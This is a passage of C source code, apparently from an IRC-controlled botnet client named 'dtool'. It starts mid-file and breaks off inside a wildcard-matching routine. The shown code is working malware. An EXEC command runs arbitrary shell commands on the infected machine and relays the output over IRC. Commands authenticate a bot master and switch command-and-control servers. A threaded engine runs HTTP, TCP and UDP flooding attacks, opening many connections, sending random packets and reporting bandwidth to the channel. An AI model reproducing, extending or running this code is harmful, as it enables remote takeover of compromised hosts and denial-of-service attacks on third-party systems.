  900. #define EXEC_CMD_USAGE "Usage: EXEC \037command\037"
  901.  
  902. /**
  903. * exec_cmd
  904. *
  905. * Execute a command on the client's system and return output
  906. * as a private message to the sender.
  907. */
  908. static void exec_cmd(user_t *user, int argc, char *argv[]) {
  909. char line[1024];
  910. FILE *fp;
  911. size_t len;
  912.  
  913. if (argc < 1) {
  914. sock_printf("PRIVMSG %s :[%s] %s",
  915. irc_srv.channel, hostname, EXEC_CMD_USAGE);
  916. return;
  917. }
  918.  
  919. sock_printf("PRIVMSG %s :[%s] {EXEC} Executing command: %s (%s)",
  920. irc_srv.channel, hostname, argv[0], user->nick);
  921.  
  922. snprintf(line, sizeof(line), "%s 2>&1", argv[0]); /* Get stderr output too. */
  923. fp = popen(line, "r");
  924.  
  925. if (!fp) {
  926. sock_printf("PRIVMSG %s :[%s] Unable to execute command",
  927. irc_srv.channel, hostname, argv[0]);
  928. return;
  929. }
  930.  
  931. while (fgets(line, 1024, fp) != NULL) {
  932. len = strlen(line);
  933.  
  934. /* Remove the LF from the end of the string. */
  935. if (line[len - 1] == '\n') {
  936. line[len - 1] = '\0';
  937. }
  938.  
  939. /* Truncate string if needed. */
  940. if (len == 1024) {
  941. len--;
  942. }
  943.  
  944. line[len] = '\0'; /* NULL terminate. */
  945.  
  946. sock_printf("PRIVMSG %s :%s", user->nick, line);
  947. }
  948.  
  949. if (pclose(fp) < 0) {
  950. sock_printf("PRIVMSG %s :[%s] Error occured while closing the pipe",
  951. irc_srv.channel, hostname);
  952. }
  953. }
  954.  
  955. /**************************************************************************/
  956.  
  957. #define AUTH_CMD_USAGE "Usage: AUTH \037password\037"
  958.  
  959. /**
  960. * auth_cmd
  961. *
  962. * Authenticate as the bot master to dtool.
  963. * The user must match the HOST_ALLOW wildcard address in order
  964. * to be able to authenticate.
  965. */
  966. static void auth_cmd(user_t *user, int argc, char *argv[]) {
  967.  
  968. if (argc < 1) {
  969. sock_printf("PRIVMSG %s :[%s] %s",
  970. irc_srv.channel, hostname, AUTH_CMD_USAGE);
  971. return;
  972. }
  973.  
  974. if (!match_wild(HOST_ALLOW, user->host)) {
  975. return;
  976. }
  977.  
  978. if (strcmp(MASTER_PASSWORD, argv[0]) == 0) {
  979. bot_master = *user;
  980.  
  981. sock_printf("PRIVMSG %s :[%s] {AUTH} User %s!%s@%s logged in",
  982. irc_srv.channel, hostname, user->nick, user->username, user->host);
  983. }
  984. }
  985.  
  986. /**************************************************************************/
  987.  
  988. #define CHSERVER_USAGE "Usage: CHSERVER \037host\037 \037port\037 \037channel\037 " \
  989. "\037[channel key]\037 \037[server pass]\037"
  990.  
  991. /**
  992. * change_server
  993. *
  994. * Connect to another IRC server.
  995. */
  996. static void change_server(user_t *user, int argc, char *argv[]) {
  997. char **av;
  998. int i;
  999.  
  1000. if (argc < 3) {
  1001. sock_printf("PRIVMSG %s :[%s] %s",
  1002. irc_srv.channel, hostname, CHSERVER_USAGE);
  1003. return;
  1004. }
  1005.  
  1006. sock_printf("PRIVMSG %s :[%s] {CHSERVER} Changing server: %s:%s (%s)",
  1007. irc_srv.channel, hostname, argv[0], argv[1], user->nick);
  1008.  
  1009. av = (char **) malloc((argc+2) * sizeof(char *));
  1010.  
  1011. av[0] = program_executable;
  1012.  
  1013. for (i=0; i < argc; i++) {
  1014. av[i+1] = argv[i];
  1015. }
  1016.  
  1017. av[i+1] = NULL;
  1018.  
  1019. close(sock);
  1020.  
  1021. do_restart(av);
  1022.  
  1023. exit(EXIT_FAILURE); /* Should never reach here. */
  1024. }
  1025.  
  1026. /**************************************************************************/
  1027.  
  1028. /**
  1029. * logout_cmd
  1030. *
  1031. * Cancel bot master authentication.
  1032. */
  1033.  
  1034. static void logout_cmd(user_t *user, int argc ATTRIBUTE_UNUSED, char *argv[] ATTRIBUTE_UNUSED) {
  1035. bot_master.nick = NULL;
  1036. bot_master.host = NULL;
  1037.  
  1038. sock_printf("PRIVMSG %s :[%s] {AUTH} User %s!%s@%s logged out",
  1039. irc_srv.channel, hostname, user->nick, user->username, user->host);
  1040. }
  1041.  
  1042. /**************************************************************************/
  1043.  
  1044. /**
  1045. * thread_function
  1046. *
  1047. * The main thread function called to initiate an attack.
  1048. */
  1049. static void *thread_function(void *tdata) {
  1050. int i;
  1051. threaddata_t data;
  1052. treadargs_t *arg_data = (treadargs_t *) tdata;
  1053.  
  1054. /* Initialization. */
  1055. memset(&data, 0, sizeof (threaddata_t));
  1056. init_fdlist(data.fdlist);
  1057. init_fdset(&data.e.readfds);
  1058. init_fdset(&data.e.writefds);
  1059.  
  1060. if (arg_data->type == T_HTTP) {
  1061. i = snprintf(data.wbuffer, sizeof (data.wbuffer), HTTP_REQUEST,
  1062. arg_data->file, arg_data->host);
  1063. data.wbuf_len = i;
  1064. data.write_cb = write_tcp1;
  1065. data.open_connection = open_tcp_connection;
  1066. } else if ((arg_data->type == T_TCP) || (arg_data->type == T_UDP)) {
  1067. if (arg_data->packet_size > 1492) {
  1068. arg_data->packet_size = 1492;
  1069. }
  1070.  
  1071. /* Generate a packet with random data. */
  1072. for (i = 0; i < arg_data->packet_size; i++) {
  1073. data.wbuffer[i] = (rand() % 255) + 1;
  1074. }
  1075.  
  1076. data.wbuf_len = arg_data->packet_size;
  1077. data.write_cb = (arg_data->type == T_TCP) ? write_tcp2 : write_udp1;
  1078. data.open_connection = (arg_data->type == T_TCP) ? open_tcp_connection : open_udp;
  1079. }
  1080.  
  1081. data.port = arg_data->port;
  1082. data.read_cb = read_tcp1;
  1083. data.write_delay = arg_data->write_delay;
  1084.  
  1085. /* Initialize time & timers. */
  1086. data.CURRENT_TIME = get_time(NULL);
  1087. data.LAST_TIMEOUT_CHECK = data.rstats.LAST_CAPTURE_TIME = data.wstats.LAST_CAPTURE_TIME = data.CURRENT_TIME.tv_sec;
  1088. data.DELAY_TIME = data.CURRENT_TIME;
  1089.  
  1090. data.serveraddr = arg_data->serveraddr;
  1091. data.size = arg_data->size;
  1092. data.total_connections = arg_data->total_connections;
  1093. data.socket_timeout = arg_data->socket_timeout;
  1094.  
  1095. /* Open the connections (for TCP/HTTP attack). */
  1096. for (i = 0; i < data.total_connections; i++) {
  1097. data.open_connection(&data);
  1098. }
  1099.  
  1100. /* Loop until the attack is done. */
  1101. for (;;) {
  1102. io_loop(&data);
  1103.  
  1104. /* Update thread's timer. */
  1105. data.CURRENT_TIME = get_time(NULL);
  1106.  
  1107. if (arg_data->type == T_HTTP && (data.rstats.total_bytes >= (long long) MB_TO_BYTES(data.size))) {
  1108. break;
  1109. } else if ((arg_data->type == T_TCP || arg_data->type == T_UDP) && (data.wstats.total_bytes >= (long long) MB_TO_BYTES(data.size))) {
  1110. break;
  1111. }
  1112. }
  1113.  
  1114. sock_printf("PRIVMSG %s :[%s] Process finished => Total bytes read: %lld (%.2f MB), Total bytes sent: %lld (%.2f MB)",
  1115. irc_srv.channel, hostname, data.rstats.total_bytes, ((double) data.rstats.total_bytes / 1024) / 1024,
  1116. data.wstats.total_bytes, ((double) data.wstats.total_bytes / 1024) / 1024);
  1117.  
  1118. if (arg_data->type != T_UDP) {
  1119. unsigned long total_connections = data.connections_succeed + data.connections_failed;
  1120.  
  1121. sock_printf("PRIVMSG %s :[%s] Total connections completed: %lu (%.2f%%), Total connections failed: %lu (%.2f%%)",
  1122. irc_srv.channel, hostname, data.connections_succeed, ((double) data.connections_succeed / total_connections) * 100,
  1123. data.connections_failed, ((double) data.connections_failed / total_connections) * 100);
  1124. }
  1125.  
  1126. pthread_exit(NULL);
  1127.  
  1128. return NULL;
  1129. }
  1130.  
  1131. /**************************************************************************/
  1132.  
  1133. /**** I/O FUNCTIONS BELOW ****/
  1134.  
  1135. /**
  1136. * sock_printf
  1137. *
  1138. * Write data to the IRC socket using a printf like format argument.
  1139. */
  1140. static void sock_printf(char *fmt, ...) {
  1141. char lbuffer[MAX_MSG_LEN];
  1142. va_list list;
  1143. ssize_t b;
  1144. size_t len;
  1145.  
  1146. va_start(list, fmt);
  1147. vsnprintf(lbuffer, sizeof (lbuffer), fmt, list);
  1148. va_end(list);
  1149.  
  1150. len = strlen(lbuffer);
  1151.  
  1152. lbuffer[len++] = '\n';
  1153.  
  1154. b = write_data(sock, lbuffer, len);
  1155.  
  1156. if (b != (long) len) {
  1157. perror("write()");
  1158. do_restart(NULL);
  1159. }
  1160. }
  1161.  
  1162. /**************************************************************************/
  1163.  
  1164. /**
  1165. * write_data
  1166. *
  1167. * Write the data to the socket using thread synchronization to avoid
  1168. * simultaneous writes on the same FD.
  1169. */
  1170. static ssize_t write_data(int s, void *data, size_t len) {
  1171. ssize_t b;
  1172.  
  1173. pthread_mutex_lock(&wr_lock);
  1174. b = write(s, data, len);
  1175. pthread_mutex_unlock(&wr_lock);
  1176.  
  1177. return b;
  1178. }
  1179.  
  1180. /**************************************************************************/
  1181.  
  1182. /**
  1183. * init_fdset
  1184. *
  1185. * Initialize an fd_set to zero.
  1186. */
  1187. static void init_fdset(fd_set *set) {
  1188. memset(set, 0, sizeof (fd_set));
  1189. }
  1190.  
  1191. /**************************************************************************/
  1192.  
  1193. /**
  1194. * init_fdlist
  1195. *
  1196. * Initialize the fd_list to zero.
  1197. */
  1198. static void init_fdlist(socket_t *fd_list) {
  1199. memset(fd_list, 0, MAX_FDS);
  1200. }
  1201.  
  1202. /**************************************************************************/
  1203.  
  1204. /**
  1205. * open_udp
  1206. *
  1207. * Create a udp socket and add it to the active sockets as connected.
  1208. */
  1209. static void open_udp(threaddata_t *data) {
  1210. socket_t sock;
  1211.  
  1212. memset(&sock, 0, sizeof (socket_t));
  1213.  
  1214. sock.sockfd = socket(AF_INET, SOCK_DGRAM, 0);
  1215.  
  1216. if (sock.sockfd < 0) {
  1217. perror("socket()");
  1218. return;
  1219. }
  1220.  
  1221. setnonblocking(sock.sockfd); /* Set the socket as non-blocking. */
  1222. sock.socket_time = data->CURRENT_TIME.tv_sec; /* Connection start time. */
  1223. sock.wbufp = 0;
  1224. sock.read_cb = data->read_cb;
  1225. sock.write_cb = data->write_cb;
  1226.  
  1227. SET_CONNECTED(&sock);
  1228. add_socket(data, &sock, &data->e.writefds);
  1229. data->active_sockets++;
  1230. }
  1231.  
  1232. /**************************************************************************/
  1233.  
  1234. /**
  1235. * open_tcp_connection
  1236. *
  1237. * Create a tcp socket and start the connection.
  1238. */
  1239. static void open_tcp_connection(threaddata_t *data) {
  1240. int res;
  1241. socket_t sock;
  1242.  
  1243. memset(&sock, 0, sizeof (socket_t));
  1244.  
  1245. sock.sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1246.  
  1247. if (sock.sockfd < 0) {
  1248. perror("socket()");
  1249. return;
  1250. }
  1251.  
  1252. setnonblocking(sock.sockfd); /* Set the socket as non-blocking. */
  1253. sock.socket_time = data->CURRENT_TIME.tv_sec; /* When the connection started. */
  1254. sock.wbufp = 0;
  1255. sock.read_cb = data->read_cb;
  1256. sock.write_cb = data->write_cb;
  1257.  
  1258. res = connect(sock.sockfd, (struct sockaddr *) & data->serveraddr,
  1259. sizeof (data->serveraddr));
  1260.  
  1261. if (res == 0) { /* Socket connected immediately, this is good. */
  1262. /* Mark the socket as connected and add it to the list. */
  1263. SET_CONNECTED(&sock);
  1264. add_socket(data, &sock, &data->e.writefds);
  1265. data->active_sockets++;
  1266. data->connections_succeed++;
  1267. } else if (res < 0) {
  1268. if (errno == EINPROGRESS) {
  1269. SET_CONNECTING(&sock);
  1270. add_socket(data, &sock, &data->e.writefds);
  1271. data->active_sockets++;
  1272. } else {
  1273. data->connections_failed++;
  1274. fprintf(stderr, "Error connecting: %s\n", strerror(errno));
  1275. }
  1276. }
  1277. }
  1278.  
  1279. /**************************************************************************/
  1280.  
  1281. /**
  1282. * add_socket
  1283. *
  1284. * Add a socket to the socket array and the given fd_set.
  1285. */
  1286. void add_socket(threaddata_t *data, socket_t *sock, fd_set *set) {
  1287. add_fd(sock->sockfd, set);
  1288.  
  1289. data->fdlist[sock->sockfd] = *sock;
  1290.  
  1291. if (sock->sockfd > data->maxfd) {
  1292. data->maxfd = sock->sockfd;
  1293. }
  1294. }
  1295.  
  1296. /**************************************************************************/
  1297.  
  1298. /**
  1299. * del_socket
  1300. *
  1301. * Delete a socket from the socket array and remove it from the read/write fd_set's.
  1302. * In addition, close the socket.
  1303. */
  1304. void del_socket(threaddata_t *data, socket_t *sock) {
  1305. int fd = sock->sockfd;
  1306.  
  1307. del_fd(fd, &data->e.readfds);
  1308. del_fd(fd, &data->e.writefds);
  1309.  
  1310. data->fdlist[fd].sockfd = -1;
  1311. data->fdlist[fd].status = 0;
  1312.  
  1313. close(fd);
  1314.  
  1315. if (fd == data->maxfd) {
  1316. while (data->fdlist[--fd].sockfd == -1)
  1317. ;
  1318. data->maxfd = fd;
  1319. }
  1320. }
  1321.  
  1322. /**************************************************************************/
  1323.  
  1324. /**
  1325. * add_fd
  1326. *
  1327. * Activate a socket to the given fd_set.
  1328. */
  1329. static void add_fd(int fd, fd_set *set) {
  1330. FD_SET(fd, set);
  1331. }
  1332.  
  1333. /**************************************************************************/
  1334.  
  1335. /**
  1336. * del_fd
  1337. *
  1338. * Remove a socket from the given fd_set.
  1339. */
  1340. static void del_fd(int fd, fd_set *set) {
  1341. FD_CLR(fd, set);
  1342. }
  1343.  
  1344. /**************************************************************************/
  1345.  
  1346. /**
  1347. * setnonblocking()
  1348. *
  1349. * Set the socket as non-blocking.
  1350. */
  1351. void setnonblocking(int sockfd) {
  1352. int opts;
  1353.  
  1354. opts = fcntl(sockfd, F_GETFL);
  1355.  
  1356. if (opts < 0) {
  1357. perror("fcntl()");
  1358. exit(EXIT_FAILURE);
  1359. }
  1360.  
  1361. opts |= O_NONBLOCK;
  1362. opts = fcntl(sockfd, F_SETFL, opts);
  1363.  
  1364. if (opts < 0) {
  1365. perror("fcntl()");
  1366. exit(EXIT_FAILURE);
  1367. }
  1368. }
  1369.  
  1370. /**************************************************************************/
  1371.  
  1372. /**
  1373. * check_connection
  1374. *
  1375. * Checks if a non-blocking connection completed succesfully.
  1376. *
  1377. * Returns 0 on success and non-zero on connection failure.
  1378. */
  1379. int check_connection(int sockfd, char **error) {
  1380. socklen_t lon;
  1381. int valopt;
  1382.  
  1383. lon = sizeof (int);
  1384.  
  1385. if (getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*) (&valopt), &lon) < 0) {
  1386. fprintf(stderr, "Error in getsockopt() %d - %s\n", errno, strerror(errno));
  1387. exit(EXIT_FAILURE);
  1388. }
  1389.  
  1390. if (valopt) {
  1391. *error = strerror(valopt);
  1392. return 1;
  1393. }
  1394.  
  1395. return 0;
  1396. }
  1397.  
  1398. /**************************************************************************/
  1399.  
  1400. /**
  1401. * check_timeouts
  1402. *
  1403. * Socket timeout handling code.
  1404. */
  1405. void check_timeouts(threaddata_t *data) {
  1406. int i;
  1407. socket_t *sock;
  1408. int time_diff;
  1409.  
  1410. for (i = 0; i <= data->maxfd; i++) {
  1411. sock = &data->fdlist[i];
  1412.  
  1413. if (sock->sockfd != -1) {
  1414. if (IS_CONNECTING(sock) && ((time_diff = data->CURRENT_TIME.tv_sec - sock->socket_time) >= data->socket_timeout)) {
  1415. fprintf(stdout, "Socket %d timed out after %d seconds\n", sock->sockfd, time_diff);
  1416. del_socket(data, sock);
  1417. data->active_sockets--;
  1418. data->connections_failed++;
  1419. }
  1420. }
  1421. }
  1422. }
  1423.  
  1424. /**************************************************************************/
  1425.  
  1426. /**
  1427. * check_active_sockets
  1428. *
  1429. * Check the number of active sockets and open more connections if needed.
  1430. */
  1431. void check_active_sockets(threaddata_t *data) {
  1432. int i;
  1433.  
  1434. if (data->active_sockets < data->total_connections) {
  1435. /* We need more connections. */
  1436. int more_connections = (data->total_connections - data->active_sockets);
  1437.  
  1438. for (i = 0; i < more_connections; i++) {
  1439. data->open_connection(data);
  1440. }
  1441. }
  1442. }
  1443.  
  1444. /**
  1445. * check_write_delay
  1446. *
  1447. * Apply any delay supplied by the user.
  1448. */
  1449. void check_write_delay(threaddata_t *data) {
  1450. int i;
  1451. socket_t *sock;
  1452. struct timeval res;
  1453.  
  1454. timeval_subtract(&res, &data->CURRENT_TIME, &data->DELAY_TIME);
  1455.  
  1456. /* Honor the timeout given by the user. */
  1457. if (MICROSECOND_DIFF(&res) < (data->write_delay * 1000)) {
  1458. for (i = 0; i <= data->maxfd; i++) {
  1459. sock = &data->fdlist[i];
  1460. if (sock->sockfd != -1 && IS_CONNECTED(sock) && !IS_BLOCKED(sock)) {
  1461. SET_BLOCKED(sock);
  1462. del_fd(sock->sockfd, &data->e.writefds);
  1463. }
  1464. }
  1465. } else {
  1466. for (i = 0; i <= data->maxfd; i++) {
  1467. sock = &data->fdlist[i];
  1468. if (sock->sockfd != -1 && IS_CONNECTED(sock) && IS_BLOCKED(sock)) {
  1469. UNSET_BLOCKED(sock);
  1470. add_fd(sock->sockfd, &data->e.writefds);
  1471. }
  1472. }
  1473. }
  1474. }
  1475.  
  1476. /**************************************************************************/
  1477.  
  1478. /**
  1479. * write_tcp1
  1480. *
  1481. * Used by the HTTP attack.
  1482. *
  1483. * Writes the data from the wbuffer and then stops writting more data.
  1484. * Returns the number of bytes written on success and < 0 on error.
  1485. */
  1486. ssize_t write_tcp1(threaddata_t *data, socket_t *sock) {
  1487. ssize_t b;
  1488.  
  1489. b = write(sock->sockfd, data->wbuffer + sock->wbufp, data->wbuf_len - sock->wbufp);
  1490.  
  1491. data->DELAY_TIME = data->CURRENT_TIME;
  1492.  
  1493. if (b < 0) {
  1494. perror("write()");
  1495. return b;
  1496. } else {
  1497. if (b > 0) {
  1498. sock->wbufp += b;
  1499.  
  1500. if (sock->wbufp == data->wbuf_len) {
  1501. del_fd(sock->sockfd, &data->e.writefds);
  1502. add_fd(sock->sockfd, &data->e.readfds);
  1503. }
  1504. }
  1505.  
  1506. return b;
  1507. }
  1508. }
  1509.  
  1510. /**************************************************************************/
  1511.  
  1512. /**
  1513. * write_tcp2
  1514. *
  1515. * Used by the TCP attacks and only sends data.
  1516. * Returns the number of bytes written on success and < 0 on error.
  1517. */
  1518. ssize_t write_tcp2(threaddata_t *data, socket_t *sock) {
  1519. ssize_t b;
  1520.  
  1521. b = write(sock->sockfd, data->wbuffer, data->wbuf_len);
  1522. data->DELAY_TIME = data->CURRENT_TIME;
  1523.  
  1524. if (b < 0) {
  1525. perror("write()");
  1526. return b;
  1527. } else {
  1528. return b;
  1529. }
  1530. }
  1531.  
  1532. /**************************************************************************/
  1533.  
  1534. /**
  1535. * write_udp1
  1536. *
  1537. * Used by the UDP attacks and only sends data.
  1538. * Returns the number of bytes written on success and < 0 on error.
  1539. */
  1540. ssize_t write_udp1(threaddata_t *data, socket_t *sock) {
  1541. ssize_t b;
  1542. socklen_t slen;
  1543.  
  1544. if (data->port == 0) {
  1545. data->serveraddr.sin_port = htons((rand() % 64512) + 1024); /* Random port. */
  1546. }
  1547.  
  1548. slen = sizeof(data->serveraddr);
  1549. b = sendto(sock->sockfd, data->wbuffer, data->wbuf_len, 0,
  1550. (struct sockaddr *) &data->serveraddr, slen);
  1551.  
  1552. data->DELAY_TIME = data->CURRENT_TIME;
  1553.  
  1554. if (b < 0) {
  1555. perror("write()");
  1556. return b;
  1557. } else {
  1558. return b;
  1559. }
  1560. }
  1561.  
  1562. /**************************************************************************/
  1563.  
  1564. /**
  1565. * read_tcp1
  1566. *
  1567. * Reads data from the remote host.
  1568. * Returns the number of bytes read on success, 0 when the remote host closes
  1569. * the socket and < 0 on error.
  1570. */
  1571. ssize_t read_tcp1(threaddata_t *data, socket_t *sock) {
  1572. ssize_t b;
  1573.  
  1574. b = read(sock->sockfd, data->rbuffer, sizeof (data->rbuffer));
  1575.  
  1576. if (b < 0) {
  1577. perror("read()");
  1578. return b;
  1579. } else {
  1580. return b;
  1581. }
  1582. }
  1583.  
  1584. /**************************************************************************/
  1585.  
  1586. /**
  1587. * rw_socket
  1588. *
  1589. * Handles reads and writes for a socket.
  1590. */
  1591. void rw_socket(threaddata_t *data, socket_t *sock, int r, int w) {
  1592. char *error;
  1593. ssize_t b;
  1594. int fd = sock->sockfd;
  1595.  
  1596. /* Socket marked ready for writing. */
  1597. if (w) {
  1598. if (IS_CONNECTING(sock) && check_connection(fd, &error)) {
  1599. /* Connection failed, remove socket. */
  1600. printf("Connection timeout for socket: %d %s\n", fd, error);
  1601. del_socket(data, sock);
  1602. data->active_sockets--;
  1603. data->connections_failed++;
  1604. } else if (IS_CONNECTED(sock)) {
  1605. if (sock->write_cb) { /* Execute only if there is an associated callback. */
  1606. if ((b = sock->write_cb(data, sock)) < 0) {
  1607. if (errno != EWOULDBLOCK && errno != EAGAIN) {
  1608. del_socket(data, sock);
  1609. data->active_sockets--;
  1610. }
  1611. } else if (b > 0) {
  1612. data->wstats.total_bytes += b;
  1613. report_speed(data, &data->wstats, "Sent");
  1614. }
  1615. }
  1616. } else {
  1617. /* Socket connected. */
  1618. UNSET_CONNECTING(sock);
  1619. SET_CONNECTED(sock);
  1620.  
  1621. if (data->wbuf_len == 0) {
  1622. /* There are no data to write. */
  1623. del_fd(fd, &data->e.writefds);
  1624. }
  1625. data->connections_succeed++;
  1626.  
  1627. /* Always interested in reading (watching for EOF). */
  1628. add_fd(fd, &data->e.readfds);
  1629. }
  1630. }
  1631.  
  1632. /* Socket marked ready for reading. */
  1633. if (r) {
  1634. if (sock->read_cb) { /* Execute only if there is an associated callback. */
  1635. if ((b = sock->read_cb(data, sock)) <= 0) {
  1636. if ((b == 0) || ((b < 0) && errno != EWOULDBLOCK && errno != EAGAIN)) {
  1637. del_socket(data, sock);
  1638. data->active_sockets--;
  1639. }
  1640. } else {
  1641. data->rstats.total_bytes += b;
  1642.  
  1643. report_speed(data, &data->rstats, "Read");
  1644. }
  1645. }
  1646. }
  1647. }
  1648.  
  1649. /**************************************************************************/
  1650.  
  1651. /**
  1652. * io_loop
  1653. *
  1654. * The main I/O loop called by the worker thread.
  1655. */
  1656. void io_loop(threaddata_t *data) {
  1657. int n, i;
  1658. fd_set rfds;
  1659. fd_set wfds;
  1660. struct timeval tval;
  1661.  
  1662. tval.tv_sec = 0;
  1663. tval.tv_usec = 1000; /* Avoid excessive CPU usage. */
  1664.  
  1665. if (data->write_delay > 0) {
  1666. check_write_delay(data);
  1667. }
  1668.  
  1669. /* Copy the fd_set's from the "global" structures. */
  1670. memcpy(&rfds, &data->e.readfds, sizeof (fd_set));
  1671. memcpy(&wfds, &data->e.writefds, sizeof (fd_set));
  1672.  
  1673. /* Block for tval.tv_usec waiting for I/O activity. */
  1674. n = select(data->maxfd + 1, &rfds, &wfds, NULL, &tval);
  1675.  
  1676. if (n < 0) {
  1677. if (((errno == EINTR) || (errno == EAGAIN))) {
  1678. /* Interupted by a signal probably. */
  1679. return;
  1680. }
  1681.  
  1682. /* These are fatal errors most of the times, so die. */
  1683. perror("select()");
  1684. exit(EXIT_FAILURE);
  1685. } else {
  1686. /* Check for socket timeouts. */
  1687. if (data->CURRENT_TIME.tv_sec - data->LAST_TIMEOUT_CHECK
  1688. >= (data->socket_timeout < CHECK_TIMEOUT ? data->socket_timeout : CHECK_TIMEOUT)) {
  1689. data->LAST_TIMEOUT_CHECK = data->CURRENT_TIME.tv_sec;
  1690. check_timeouts(data);
  1691. }
  1692.  
  1693. /* Check if the number of active sockets is correct and
  1694. * start more connections if needed. */
  1695. check_active_sockets(data);
  1696.  
  1697. if (n == 0) {
  1698. /* Nothing interesting (select timed out), just return. */
  1699. return;
  1700. }
  1701.  
  1702. /* Chech all FD's for activity. */
  1703. for (i = 0; i <= data->maxfd; i++) {
  1704. if (n) {
  1705. int rr = FD_ISSET(i, &rfds);
  1706. int rw = FD_ISSET(i, &wfds);
  1707.  
  1708. if (rr || rw) {
  1709. n--;
  1710. } else {
  1711. continue;
  1712. }
  1713.  
  1714. /* Handle I/O operations. */
  1715. rw_socket(data, &data->fdlist[i], rr, rw);
  1716. } else {
  1717. /* No more fd's */
  1718. break;
  1719. }
  1720. } /* for() */
  1721. }
  1722. }
  1723.  
  1724. /**************************************************************************/
  1725.  
  1726. /**** MISC FUNCTIONS BELOW ****/
  1727.  
  1728. /**
  1729. * fqdn
  1730. *
  1731. * Get system's hostname (hostname -f command).
  1732. */
  1733. static char *fqdn(char *buf, size_t blen) {
  1734. FILE *fp;
  1735. size_t len;
  1736. int status;
  1737.  
  1738. fp = popen("hostname -f", "r");
  1739.  
  1740. if (!fp || !fgets(buf, blen, fp) || (status = pclose(fp)) == -1) {
  1741. fprintf(stderr, "Unable to get hostname\n");
  1742. exit(EXIT_FAILURE);
  1743. }
  1744.  
  1745. len = strlen(buf);
  1746.  
  1747. /* Remove the LF from the end of the string. */
  1748. if (buf[len - 1] == '\n') {
  1749. buf[len - 1] = '\0';
  1750. }
  1751.  
  1752. /* Truncate string if needed. */
  1753. if (len == blen) {
  1754. len--;
  1755. }
  1756.  
  1757. buf[len] = '\0'; /* NULL terminate the string. */
  1758.  
  1759. return buf;
  1760. }
  1761.  
  1762. /**************************************************************************/
  1763.  
  1764. /**
  1765. * terminate_thread
  1766. *
  1767. * Terminate the worker thread and cleanup resources.
  1768. */
  1769. static int terminate_thread(void) {
  1770. int ret;
  1771.  
  1772. if (pthread && ((ret = pthread_kill(pthread, 0)) == 0)) {
  1773. pthread_cancel(pthread);
  1774. pthread_join(pthread, NULL);
  1775. pthread = 0;
  1776. return 1;
  1777. }
  1778.  
  1779. return 0;
  1780. }
  1781.  
  1782. /**************************************************************************/
  1783.  
  1784. /**
  1785. * free_user
  1786. *
  1787. * Release memory resources.
  1788. */
  1789. static void free_user(user_t *user) {
  1790. free(user->nick);
  1791. free(user->realname);
  1792. free(user->username);
  1793. free(user->host);
  1794. }
  1795.  
  1796. /**************************************************************************/
  1797.  
  1798. /**
  1799. * random_string
  1800. *
  1801. * Generate a random string.
  1802. */
  1803. static char *random_string(char *buf, int blen) {
  1804. char valid_chars[] = "abcdefghijklmnopjrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  1805. int r, i;
  1806.  
  1807. for (i = 0; i < blen; i++) {
  1808. r = rand() % (sizeof (valid_chars) - 1);
  1809. buf[i] = valid_chars[r];
  1810. }
  1811.  
  1812. return buf;
  1813. }
  1814.  
  1815. /**************************************************************************/
  1816.  
  1817. /**
  1818. * dns
  1819. *
  1820. * Resolve a hostname to a network address.
  1821. * Deprecated way for resolving addresses, getaddrinfo() is much better.
  1822. */
  1823. static void dns(const char *address, struct sockaddr_in *saddr) {
  1824. struct hostent *h = 0;
  1825.  
  1826. h = gethostbyname(address);
  1827.  
  1828. if (h == 0) {
  1829. perror("gethostbyname()");
  1830. exit(EXIT_FAILURE);
  1831. }
  1832.  
  1833. memcpy(&saddr->sin_addr, h->h_addr, h->h_length);
  1834. };
  1835.  
  1836. /**************************************************************************/
  1837.  
  1838. /**
  1839. * report_speed
  1840. *
  1841. * Calculates the reading/writing speed and reports to the channel.
  1842. * Not exactly accurate or the best code possible..
  1843. */
  1844. static void report_speed(threaddata_t *data, stats_t *stats, const char *type) {
  1845. unsigned long temp, speed;
  1846.  
  1847. temp = BYTES_TO_MB(stats->total_bytes);
  1848.  
  1849. if (temp > stats->total_mb) {
  1850. stats->total_mb = temp;
  1851.  
  1852. if ((stats->total_mb % (data->size <
  1853. REPORT_IF_SIZE ? (data->size - 1) > 0 ? data->size - 1 : data->size : REPORT_IF_SIZE)) == 0) {
  1854.  
  1855. if (data->CURRENT_TIME.tv_sec - stats->LAST_CAPTURE_TIME > 0) {
  1856. speed = (stats->total_bytes - stats->last_bytes) / (data->CURRENT_TIME.tv_sec - stats->LAST_CAPTURE_TIME);
  1857. stats->LAST_CAPTURE_TIME = data->CURRENT_TIME.tv_sec;
  1858. stats->last_bytes = stats->total_bytes;
  1859.  
  1860. sock_printf("PRIVMSG %s :[%s] %s: %ld MB, Average speed: %ld KB/s\n",
  1861. irc_srv.channel, hostname, type, stats->total_mb, speed / 1024);
  1862. }
  1863. }
  1864. }
  1865. }
  1866.  
  1867. /**************************************************************************/
  1868.  
  1869. /**
  1870. * strtok_remaining()
  1871. *
  1872. * Code for this function taken from IrcServices (author: Andrew Church).
  1873. */
  1874. static char *strtok_remaining(void) {
  1875. char *s = strtok(NULL, ""), *t;
  1876. if (s) {
  1877. while (isspace(*s))
  1878. s++;
  1879. t = s + strlen(s) - 1;
  1880. while (t >= s && isspace(*t))
  1881. *t-- = 0;
  1882. if (!*s)
  1883. return NULL;
  1884. }
  1885. return s;
  1886. }
  1887.  
  1888. /**************************************************************************/
  1889.  
  1890. /**
  1891. * get_time
  1892. *
  1893. * Get the current time in seconds & microseconds.
  1894. */
  1895. static struct timeval get_time(time_t *t) {
  1896. struct timeval tv;
  1897.  
  1898. if (gettimeofday(&tv, NULL) < 0) {
  1899. perror("gettimeofday()");
  1900. exit(EXIT_FAILURE);
  1901. }
  1902.  
  1903. /* If a time_t pointer is passed, assign the current time in seconds. */
  1904. if (t) {
  1905. *t = tv.tv_sec;
  1906. }
  1907.  
  1908. return tv;
  1909. }
  1910.  
  1911. /**************************************************************************/
  1912.  
  1913. /* match_wild: Attempt to match a string to a pattern which might contain
  1914. * '*' or '?' wildcards. Return 1 if the string matches the
  1915. * pattern, 0 if not.
  1916. */
  1917.  
  1918. static int do_match_wild(const char *pattern, const char *str, int docase) {
  1919. char c;
  1920. const char *s;
  1921.  
  1922. /* Sanity-check pointer parameters */
  1923.  
  1924. if (pattern == NULL || str == NULL) {
  1925. return 0;
  1926. }
  1927.  
  1928. /* This loop is guaranteed to terminate, either by *pattern == 0 (the
  1929. * end of the pattern string) or a trailing '*' (or "*???..."). */
  1930.  
  1931. for (;;) {
